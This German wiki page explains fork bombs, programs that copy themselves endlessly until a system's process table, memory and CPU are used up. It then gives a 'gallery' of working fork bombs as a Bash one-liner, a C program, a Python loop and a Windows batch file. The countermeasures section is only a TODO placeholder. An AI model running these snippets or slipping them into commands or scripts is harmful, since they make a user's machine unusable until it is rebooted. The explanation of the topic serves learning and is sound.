Was sind das?

Fork-Bombs sind eine Unterkategorie von [http://en.wikipedia.org/wiki/Wabbit Wabbits], Programme deren einziges Ziel die massenhafte Selbstreplikation ist. In einer Endlosschleife wird fortlaufend eine Kopie des eigenen Programms erzeugt, welche wiederum eigene Kopien erzeugt usw. - dies geschieht solange, bis die Ressourcen des Compuersystems aufgebraucht sind.

Fork-Bombs speziell nutzen zur Replikation die Fork-Funktion (fork, engl. = Gabelung, Verzweigung).

Was bewirken sie?

Durch die rasante Selbstreplikation ist die maximal mögliche Zahl der simultan laufenden Prozesse schnell überschritten - somit können keine weiteren gestartet werden. Alle diese Kinder-Prozesse der Eltern-Fork-Bomb fressen Arbeitsspeicher und CPU-Leistung die damit anderen Prozessen fehlt. Dies führt von der Ausbremsung des gesamten Systems bis zur kompletten Unbenutzbarkeit (nix geht mehr). In diesem Fall ist ein kompletter Reboot des Systems die einzige Möglichkeit alle Instanzen der Fork-Bomb zu killen.

Gegenmassnahmen

TODO

Fork-Bomb Gallerie

Bash Bombs

:(){ :|:& };:

(:(){ :|:;};:)

unter C

 #include <unistd.h>
int main(void)
{
  while(1) { 
    fork(); 
  } 
  return 0; 
} 

Python Forks

#/usr/bin/python 
import os
while(1): 
    os.fork()

Batch-Datei unter Windoze

:s
start %0
goto s


Creative Commons Lizenzvertrag
This page is licensed under a Creative Commons Attribution-ShareAlike 2.5 License.